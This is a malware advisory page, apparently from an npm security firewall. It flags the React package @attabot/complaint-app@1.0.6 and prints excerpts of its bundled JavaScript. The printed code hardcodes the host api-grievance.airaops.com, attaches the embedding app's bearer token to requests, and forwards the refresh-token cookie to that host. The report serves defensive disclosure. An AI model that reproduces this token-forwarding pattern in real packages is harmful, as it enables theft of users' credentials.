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@attabot/complaint-app@1.0.6: Malicious npm security report | LPM Firewall

registry / @attabot/complaint-app / 1.0.6

@attabot/complaint-app@1.0.6

Complaint Management UI package — atomic React components that run on the parent app's auth and API

AI Security Review

scanned 12h ago · by lpm-firewall-ai

At runtime, the mounted component can send a host application's passed or cookie-stored bearer token to a hardcoded external API base URL. This occurs when it performs API operations without an overriding apiUrl.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Mounting ComplaintApp with systemsEndpoint and an auth token, or invoking its API actions without overriding apiUrl.

Impact

Unauthorized disclosure of host application access and refresh tokens to api-grievance.airaops.com.

Mechanism

Hardcoded remote base URL with automatic Bearer-token injection and refresh-token forwarding.

Attack narrative

The bundle defaults its axios client to api-grievance.airaops.com, reads a token supplied by the embedding application or its token cookie, and attaches it to requests. A mounted component automatically fetches its configured endpoint through that client; the interceptor also forwards a refresh-token cookie to the hardcoded receiver after authorization failures. The package is under the unrelated @attabot scope and its documentation says the parent controls the API, so this is a concrete credential-exfiltration path rather than ordinary package telemetry.

Rationale

Runtime source establishes a hardcoded external receiver plus automatic authorization and refresh-token forwarding. The lack of install hooks does not mitigate this browser-time credential exfiltration path.

Evidence

dist/complaint-app.jspackage.jsonREADME.mddist/index.d.ts

Network endpoints2

api-grievance.airaops.com/api/v1/auth/refresh

Source & flagged code

5 flagged · loading source

dist/complaint-app.umd.jsView file

•Browser cookie sent to a fixed external endpoint in dist/complaint-app.umd.js: `+('Please change the parent <Route path="'+g+'"> to <Route ')+('path="'+(g==="/"?"*":g+"/*")+'">.'))}let d=he(),h;if(t){var v;let g=typeof t=="string"?Pe(t):t;f==="/"||(v=g.pathna... `)}getSetCookie(){const t=this.get("set-cookie");return p.isArray(t)?t:t==null||t===!1?[]:[t]}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(t){return t instanceof this... `+o)}}catch{}}throw r}}_request(t,n){typeof t=="string"?(n=n||{},n.url=t):n=t||{},n=we(this.defaults,n);const{transitional:r,paramsSerializer:a,headers:o}=n;r!==void 0&&kt.assertOp...

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/complaint-app.umd.jsView on unpkg

dist/complaint-app.jsView file

3794let Ae = "https://api-grievance.airaops.com", ia = null;

High

Ai Review Evidence

Hardcoded default receiver api-grievance.airaops.com.

dist/complaint-app.jsView on unpkg · L3794

4884if (!r || n) return; const P = new AbortController(); return M.get(r, { signal: P.signal }).then((U) => { const Z = U?.data, H = Array.isArray(Z) ? Z : Z?.data ?? Z?.systems ?? Z?.results ?? [];

High

Ai Review Evidence

Mounted UI fetches supplied systemsEndpoint automatically.

dist/complaint-app.jsView on unpkg · L4884

3825const r = Je.get("refreshToken"); if (r) try { Gt || (Gt = !0, Zt = k.post( `${Ae}/api/v1/auth/refresh`, {}, { headers: { Authorization: `Bearer ${r}` } }

High

Ai Review Evidence

Refresh token is sent to the hardcoded base URL on 401/402.

dist/complaint-app.jsView on unpkg · L3825

3808}, fl = () => ia || Je.get("token") || null, M = k.create({ baseURL: Ae, headers: { Accept: "application/json", "Content-Type": "application/json" } }); M.interceptors.request.use((e) => { const t = fl(); return e.headers = e.headers || {}, t ? e.headers.Authorization = `Bearer ${t}` : delete e.headers.Authorization, e;

Medium

Stripped Provenance Metadata

Requests attach passed or cookie token as Bearer authorization.

dist/complaint-app.jsView on unpkg · L3808

Source & flagged code

5 flagged

dist/complaint-app.umd.jsView file

•Browser cookie sent to a fixed external endpoint in dist/complaint-app.umd.js: `+('Please change the parent <Route path="'+g+'"> to <Route ')+('path="'+(g==="/"?"*":g+"/*")+'">.'))}let d=he(),h;if(t){var v;let g=typeof t=="string"?Pe(t):t;f==="/"||(v=g.pathna... `)}getSetCookie(){const t=this.get("set-cookie");return p.isArray(t)?t:t==null||t===!1?[]:[t]}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(t){return t instanceof this... `+o)}}catch{}}throw r}}_request(t,n){typeof t=="string"?(n=n||{},n.url=t):n=t||{},n=we(this.defaults,n);const{transitional:r,paramsSerializer:a,headers:o}=n;r!==void 0&&kt.assertOp...

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/complaint-app.umd.jsView on unpkg

dist/complaint-app.jsView file

Lines 3774-3845javascript

3774 wt({}, o, {

3775 expires: -1

3776 })

3777 );

3778 },

3779 withAttributes: function(a) {

3780 return hn(this.converter, wt({}, this.attributes, a));

3781 },

3782 withConverter: function(a) {

3783 return hn(wt({}, this.converter, a), this.attributes);

3784 }

3785 },

3786 {

3787 attributes: { value: Object.freeze(t) },

3788 converter: { value: Object.freeze(e) }

3789 }

3790 );

3791}

3792var Je = hn(cl, { path: "/" });

3793const ul = { BASE_URL: "/", DEV: !1, MODE: "production", PROD: !0, SSR: !1 };

3794let Ae = "https://api-grievance.airaops.com", ia = null;

High

Ai Review Evidence

Hardcoded default receiver api-grievance.airaops.com.

dist/complaint-app.jsView on unpkg · L3794

3795try {

3796 if (typeof import.meta < "u" && ul?.VITE_API_URL)

3797 Ae = void 0;

3798 else {

3799 const e = typeof process < "u" ? process : null;

3800 e?.env?.VITE_API_URL && (Ae = e.env.VITE_API_URL);

3801 }

3802} catch {

3803}

3804const dl = (e) => {

3805 Ae = e || "", M.defaults.baseURL = Ae;

3806}, sa = (e) => {

3807 ia = e || null;

3808}, fl = () => ia || Je.get("token") || null, M = k.create({

3809 baseURL: Ae,

3810 headers: {

3811 Accept: "application/json",

3812 "Content-Type": "application/json"

3813 }

3814});

3815M.interceptors.request.use((e) => {

3816 const t = fl();

3817 return e.headers = e.headers || {}, t ? e.headers.Authorization = `Bearer ${t}` : delete e.headers.Authorization, e;

Medium

Stripped Provenance Metadata

Requests attach passed or cookie token as Bearer authorization.

3818});

3819let Gt = !1, Zt = null;

3820M.interceptors.response.use(

3821 (e) => e,

3822 async (e) => {

3823 const t = e.config, n = e.response;

3824 if (n && (n.status === 401 || n.status === 402)) {

3825 const r = Je.get("refreshToken");

3826 if (r)

3827 try {

3828 Gt || (Gt = !0, Zt = k.post(

3829 `${Ae}/api/v1/auth/refresh`,

3830 {},

3831 {

3832 headers: {

3833 Authorization: `Bearer ${r}`

3834 }

3835 }

High

Ai Review Evidence

Refresh token is sent to the hardcoded base URL on 401/402.

dist/complaint-app.jsView on unpkg · L3825

3836 ));

3837 const a = await Zt, { token: o, refreshToken: i } = a.data;

3838 return sa(o), i && Je.set("refreshToken", i), t.headers.Authorization = `Bearer ${o}`, M(t);

3839 } catch {

3840 Je.remove("token"), Je.remove("refreshToken");

3841 } finally {

3842 Gt = !1, Zt = null;

3843 }

3844 }

3845 return Promise.reject(e);

Lines 4864-4904javascript

4864 }));

4865}

4866function lc({

4867 title: e = "Complaint Management",

4868 description: t = sc,

4869 systems: